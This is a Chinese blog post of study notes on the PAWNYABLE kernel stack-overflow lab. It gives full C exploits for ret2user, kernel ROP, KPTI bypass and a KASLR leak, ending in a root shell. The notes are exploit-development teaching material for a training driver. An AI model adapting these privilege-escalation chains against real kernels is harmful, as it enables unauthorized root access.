PAWNYABLE kernel stack overflow 笔记

PAWNYABLE 中的第一节 stack overflow 的学习笔记。( 觉得这个教程好细致,而且封面好可爱... 这一节讨论内核的栈溢出,分成了不同防护程度的情况来讨论不同的情况下面,攻击应该如何进行。

基本的思路

在 module_write 里面,copy_from_user 的大小是用户控制,大小没有检查的。可以在这里发生溢出。read 也有这个漏洞,可以读取更多的数据(

  _QWORD *v4; // rcx
  _QWORD buf[128]; // [rsp+20h] [rbp-400h] BYREF

  memset(buf, 0, sizeof(buf));
  printk(&unk_3FE);
  if ( copy_from_user(buf, a2, a3) )
  {
    printk(&unk_415);
    return -22LL;
  }

从而控制返回地址

  • 提权的方式是设置 cred 结构

使用 prepare_kernel_cred(NULL) 来布置 init cred (6.2 之后不能这么干了,只能自己找到 init cred 的地址)。commit_creds 布置到当前进程。(这写可以用 ROP 来完成。

  • 用户态切换

iretq 从内核态到用户空间,swapgs 用来更换页表 GS。iretq 需要布置的寄存器大概有:

rsp ---> rip 
         cs
         rflags
         rsp
         ss

level 0:ret2user

环境:
未开启 smep smap kaslr

由于这次 SMEP 被禁用,位于用户空间内存中的代码可以从内核空间执行。换句话说,可以简单地用 C 语言编写 prepare_kernel_cred 、 commit_creds 、 swapgs iretq 的流程。

直接在 /proc/kallsyms 找到符号的的地址。但是,如果直接读取的话,即使是 root 里面的值是全 0。要求不能开启 kptr 注释掉这一行: echo 2 > /proc/sys/kernel/kptr_restrict 才能看见。

/ # whoami
root
/ # cat /proc/kallsyms | grep commit_creds
0000000000000000 T commit_creds
/ # echo 0 > /proc/sys/kernel/kptr_restrict
/ # cat /proc/kallsyms | grep commit_creds
ffffffff8106e390 T commit_creds

现在就可以拿到;两个内核的函数的地址了。在 exp 里面直接写,写法是 function-pointers

    char* (*pkc)(int) = (void *)prepare_kernel_cred;
    int (*cc)(char *) = (void *)commit_creds;
    (*cc)((*pkc)(0));

这时候那么如何返回到用户的空间呢...?

可以使用 iretq 来返回到用户空间,需要事先把几个寄存器给保留一下。

uint64_t user_cs, user_ss, user_rflags, user_sp;

void save_status() {
    asm("movq %%cs, %0\n\t"
        "movq %%ss, %1\n\t"
        "movq %%rsp, %3\n\t"
        "pushfq\n\t"
        "popq %2\n\t"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp)
        : // no input
        : "memory");
}


void binsh(){
    puts("get shell");
    char *argv[] = { "/bin/sh", NULL };
    char *envp[] = { NULL };
    execve("/bin/sh", argv, envp);
}

void restore_status() {

    // 在栈上布置 iretq 的参数
    asm volatile(
    "swapgs \n\t"
    "movq %0, 0x8(%%rsp)\n\t"
    "movq %1, 0x10(%%rsp)\n\t"
    "movq %2, 0x18(%%rsp)\n\t"
    "movq %3, 0x20(%%rsp)\n\t"
    "movq %4, (%%rsp)\n\t"
    "iretq\n\t"
    : // no output
    : "r"(user_cs), "r"(user_rflags), "r"(user_sp), "r"(user_ss), "r"(&binsh)
    : "memory");
}   

打断点,在 /proc/kallsyms 里面找到符号的地址

/ # cat /proc/kallsyms | grep module_write
ffffffffc0000120 t module_write [vuln]

也可以直接找到加载地址。不能有 kptr 保护

/ # whoami
root
/ # echo 0 > /proc/sys/kernel/kptr_restrict
/ # cat /sys/module/vuln/sections/.text
0xffffffffc0000000

exp

完整的 exp 就是

#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>

// some definations
#define VULN_SIZE 0x450
#define BUF_SIZE 0x400
uint64_t commit_creds = 0xffffffff8106e390;
uint64_t prepare_kernel_cred = 0xffffffff8106e240;
uint64_t user_cs, user_ss, user_rflags, user_sp;

void save_status() {
    asm("movq %%cs, %0\n\t"
        "movq %%ss, %1\n\t"
        "movq %%rsp, %3\n\t"
        "pushfq\n\t"
        "popq %2\n\t"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp)
        : // no input
        : "memory");
}


void binsh(){
    puts("get shell");
    char *argv[] = { "/bin/sh", NULL };
    char *envp[] = { NULL };
    execve("/bin/sh", argv, envp);
}

void restore_status() {

    // 在栈上布置 iretq 的参数
    asm volatile(
    "swapgs \n\t"
    "movq %0, 0x8(%%rsp)\n\t"
    "movq %1, 0x10(%%rsp)\n\t"
    "movq %2, 0x18(%%rsp)\n\t"
    "movq %3, 0x20(%%rsp)\n\t"
    "movq %4, (%%rsp)\n\t"
    "iretq\n\t"
    : // no output
    : "r"(user_cs), "r"(user_rflags), "r"(user_sp), "r"(user_ss), "r"(&binsh)
    : "memory");
}   

void hack() {
    // struct cred *prepare_kernel_cred(struct task_struct *daemon)
    // int commit_creds(struct cred *new)
    char *(*pkc)(int) = (void *)prepare_kernel_cred;
    int (*cc)(char *) = (void *)commit_creds;
    (*cc)((*pkc)(0));
    restore_status();
}

int main() {
    puts("saving status");
    save_status();
    puts("saved status");
    int fd = open("/dev/holstein", O_RDWR);

    char buf[VULN_SIZE];
    memset(buf, 0x12, BUF_SIZE);
    *((uint64_t *)buf + 129) = (uint64_t) &hack;
    write(fd, buf, VULN_SIZE);
    puts("wrote");
}

然后就可以 get shell 咯

[ Holstein v1 (LK01) - Pawnyable ]
/ $ whoami
whoami: unknown uid 1337
/ $ ./exp
saving status
saved status
get shell
/ # whoami
root

level 1:krop

开启了 semp 保护之后不能直接 ret 2 user,这里可以借助 ROP 来完成。

首先使用 extract-vmlinux 脚本导出 vmlinux。使用 ropr 来寻找 gadget(对这种大型的文件的适应比较好...?)

需要把 prepare_kernel_cred 返回值传递给 commit_creds,相当于 mov rdi, rax; ret;

如果没有 mov rdi, rax 如何操作

使用 ropper 可以找到比 ropr 更多的 gadget,提前把 rcx 设置成 0,然后跳转到 mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret; 指令。(否则 rep movsq 可能报错)。

ropper --file vmlinux --search "mov rdi, rax" 

0xffffffff8160c96b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;

而且 ropper 可以搜索到 iretq,感觉比原文章里面推荐的 ropr 更厉害一点点?

除了找到这一条 gadget 还有其他方法 GitHub - fengjixuchui/rop_linux_kernel_pwn: learn rop of linux kernel pwn

----------------------------------------------------------------------------------------------------- stack ----
$rsp  0xffffc90000567ef0|+0x0000|+000: 0x0000000000401895  ->  0xe5894855fa1e0ff3  <-  retaddr[1]
$r15  0xffffc90000567ef8|+0x0008|+001: 0x0000000000000033
      0xffffc90000567f00|+0x0010|+002: 0x0000000000000202
      0xffffc90000567f08|+0x0018|+003: 0x00007ffd16500bf0  ->  0x00007ffd16500c10  ->  0x00007ffd16500cb0  ->  ...  <-  retaddr[4]
      0xffffc90000567f10|+0x0020|+004: 0x000000000000002b
      0xffffc90000567f18|+0x0028|+005: 0x0000000000000000
      0xffffc90000567f20|+0x0030|+006: 0x0000000000000000
      0xffffc90000567f28|+0x0038|+007: 0x0000000000000000
--------------------------------------------------------------------------------- code: x86:64 (gdb-native) ----
    0xffffffff810202a7 8cc8                    <NO_SYMBOL>   mov    eax, cs
    0xffffffff810202a9 50                      <NO_SYMBOL>   push   rax
    0xffffffff810202aa 68b1020281              <NO_SYMBOL>   push   0xffffffff810202b1
 -> 0xffffffff810202af 48cf                    <NO_SYMBOL>   iretq

   -> 0x401895 f30f1efa                <NO_SYMBOL>   endbr64
      0x401899 55                      <NO_SYMBOL>   push   rbp
      0x40189a 4889e5                  <NO_SYMBOL>   mov    rbp, rsp
      0x40189d 4883ec30                <NO_SYMBOL>   sub    rsp, 0x30
      0x4018a1 64488b042528000000      <NO_SYMBOL>   mov    rax, QWORD PTR fs:0x28
      0x4018aa 488945f8                <NO_SYMBOL>   mov    QWORD PTR [rbp - 0x8], rax

exp

完整的 exp 就是:

// some definations
#define VULN_SIZE 0x500
#define BUF_SIZE 0x400

char buf[VULN_SIZE];

uint64_t commit_creds = 0x06e390;
uint64_t prepare_kernel_cred = 0x06e240;
uint64_t user_cs, user_ss, user_rflags, user_sp;

// ropr
uint64_t kbase = 0xffffffff81000000;
uint64_t pop_rdi_ret = 0x27bbdc;
uint64_t pop_rcx_ret = 0x2ea083;
uint64_t mov_rdi_rax_ret = 0x60c96b;
uint64_t iretq = 0x0202af;
uint64_t swapgs = 0x60bf7e;


void binsh() {
    puts("get shell");
    char *argv[] = {"/bin/sh", NULL};
    char *envp[] = {NULL};
    execve("/bin/sh", argv, envp);
}

void krop() {
    uint64_t rop[] = {
        pop_rdi_ret + kbase,
        0,
        prepare_kernel_cred + kbase,
        pop_rcx_ret + kbase,
        0,
        mov_rdi_rax_ret + kbase,
        commit_creds + kbase,
        swapgs + kbase,
        iretq + kbase,
        (uint64_t)&binsh,
        user_cs,
        user_rflags,
        user_sp,
        user_ss
    };
    
    // no overflow...?
    memcpy(buf + 0x408, rop, sizeof(rop));
}

level 2:开启 kpti

可以使用 swapgs 中的 iretq 返回到用户空间,但由于 KPTI,页面目录仍保留在内核空间中,因此用户空间中的页面不可读。这句话是什么意思?

gs 寄存器变化了,但是页表并没有切换,所以寻址是找不到的。

使用一个临时栈来切换内核和用户的状态,防止把内核状态泄露给用户。STACKLEAK_ERASE_NOCLOBBER 这是一个宏,通常用于清除栈上的敏感数据,以避免栈泄漏。它的作用是在不破坏寄存器内容的情况下擦除栈上的数据,防止泄露给恶意用户。

[!question] 为什么要有一个 trampoline stack
不能直接清空么。好像不可以,因为 iret(interupt return 的时候会用到栈上的东西,这就没办法清除了。)

// swapgs_restore_regs_and_return_to_usermode

POP_REGS pop_rdi=0  // pop 各个 regs 但是排除 rdi

movq	%rsp, %rdi  
movq	PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp  
UNWIND_HINT_EMPTY  
  
   /* Copy the IRET frame to the trampoline stack. */  
pushq	6*8(%rdi)	/* SS */  
pushq	5*8(%rdi)	/* RSP */  
pushq	4*8(%rdi)	/* EFLAGS */  
pushq	3*8(%rdi)	/* CS */  
pushq	2*8(%rdi)	/* RIP */  
  
/* Push user RDI on the trampoline stack. */  
pushq	(%rdi)  
  
   /*  
 * We are on the trampoline stack.  All regs except RDI are live.  
 * We can do future final exit work right here.  
 * 这是一个宏,通常用于清除栈上的敏感数据,以避免栈泄漏。它的作用是在不破坏寄存器内容的情况下擦除栈上的数据,防止泄露给恶意用户。
 */  
STACKLEAK_ERASE_NOCLOBBER  
  
SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi  
  
/* Restore RDI. */  
popq	%rdi  
SWAPGS  
INTERRUPT_RETURN

解决方法是 直接仿造一个假的 trampoline stack。 如下:

rsp rax
rdi
rip
cs
eflags
rsp
ss

swapgs 和切换 cr 3 的顺序...? gadget 里面自带了 swapgs 不需要再 rop 里面再写一遍了

exp


void krop_with_cr3() {
    uint64_t rop[] = {
        pop_rdi_ret + kbase,
        0,
        prepare_kernel_cred + kbase,
        pop_rcx_ret + kbase,
        0,
        mov_rdi_rax_ret + kbase,
        commit_creds + kbase,
        srrartu + kbase,
        0x1,
        0x2,
        (uint64_t)&binsh,
        user_cs,
        user_rflags,
        user_sp,
        user_ss
    };
     // no overflow...?
    memcpy(buf + 0x408, rop, sizeof(rop));

}

level 3:加上 kaslr

内核保留了从 0xffffffff 80000000 到 0xffffffffc 0000000 的 1 GB 地址空间。因此,即使使能 KASLR,也仅生成从 0x810 到 0xc00 的 0x3f0 基地址。

提前泄露一下偏移就可以了。

exp

#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <inttypes.h>

// some definations
#define VULN_SIZE 0x500
#define LEAK_SIZE 0x410
#define BUF_SIZE 0x400

char leak[LEAK_SIZE];
char buf[VULN_SIZE];

uint64_t commit_creds = 0x06e390;
uint64_t prepare_kernel_cred = 0x06e240;
uint64_t user_cs, user_ss, user_rflags, user_sp;

// ropr
uint64_t kbase = 0xffffffff81000000;
uint64_t pop_rdi_ret = 0x27bbdc;
uint64_t pop_rcx_ret = 0x2ea083;
uint64_t mov_rdi_rax_ret = 0x60c96b;
uint64_t iretq = 0x0202af;
uint64_t swapgs = 0x60bf7e;
uint64_t srrartu = 0x800e44;


void print_hex(char *name, uint64_t addr) { printf("%s %" PRIx64 "\n", name, addr); }

void binsh() {
    puts("get shell");
    char *argv[] = {"/bin/sh", NULL};
    char *envp[] = {NULL};
    execve("/bin/sh", argv, envp);
}

void krop() {
    uint64_t rop[] = {
        pop_rdi_ret + kbase,
        0,
        prepare_kernel_cred + kbase,
        pop_rcx_ret + kbase,
        0,
        mov_rdi_rax_ret + kbase,
        commit_creds + kbase,
        swapgs + kbase,
        iretq + kbase,
        (uint64_t)&binsh,
        user_cs,
        user_rflags,
        user_sp,
        user_ss
    };
    
    // no overflow...?
    memcpy(buf + 0x408, rop, sizeof(rop));
}


void krop_with_cr3() {
    uint64_t rop[] = {
        pop_rdi_ret + kbase,
        0,
        prepare_kernel_cred + kbase,
        pop_rcx_ret + kbase,
        0,
        mov_rdi_rax_ret + kbase,
        commit_creds + kbase,
        srrartu + kbase,
        0x1,
        0x2,
        (uint64_t)&binsh,
        user_cs,
        user_rflags,
        user_sp,
        user_ss
    };
     // no overflow...?
    memcpy(buf + 0x408, rop, sizeof(rop));

}


void save_status() {
    asm("movq %%cs, %0\n\t"
        "movq %%ss, %1\n\t"
        "movq %%rsp, %3\n\t"
        "pushfq\n\t"
        "popq %2\n\t"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp)
        : // no input
        : "memory");
}

void restore_status() {

    // 在栈上布置 iretq 的参数
    asm volatile("swapgs \n\t"
                 "movq %0, 0x8(%%rsp)\n\t"
                 "movq %1, 0x10(%%rsp)\n\t"
                 "movq %2, 0x18(%%rsp)\n\t"
                 "movq %3, 0x20(%%rsp)\n\t"
                 "movq %4, (%%rsp)\n\t"
                 "iretq\n\t"
                 : // no output
                 : "r"(user_cs), "r"(user_rflags), "r"(user_sp), "r"(user_ss),
                   "r"(&binsh)
                 : "memory");
}

void hack() {
    // struct cred *prepare_kernel_cred(struct task_struct *daemon)
    // int commit_creds(struct cred *new)
    char *(*pkc)(int) = (void *)prepare_kernel_cred + kbase;
    int (*cc)(char *) = (void *)commit_creds + kbase;
    (*cc)((*pkc)(0));
    restore_status();
}

void ret2user() {
    memset(buf, 0x12, BUF_SIZE);
    *((uint64_t *)buf + 129) = (uint64_t)&hack;
}


int main() {
    puts("saving status");
    save_status();
    puts("saved status");
    int fd = open("/dev/holstein", O_RDWR);
    read(fd, leak, 0x410);
    kbase = *(uint64_t *) (leak + 0x408) - 0x13d33c;
    print_hex("kbase", kbase);
    krop_with_cr3();
    write(fd, buf, VULN_SIZE);
    puts("wrote");
}

posted @ 2024-11-27 15:38  giacomo捏  阅读(7)  评论(0编辑  收藏  举报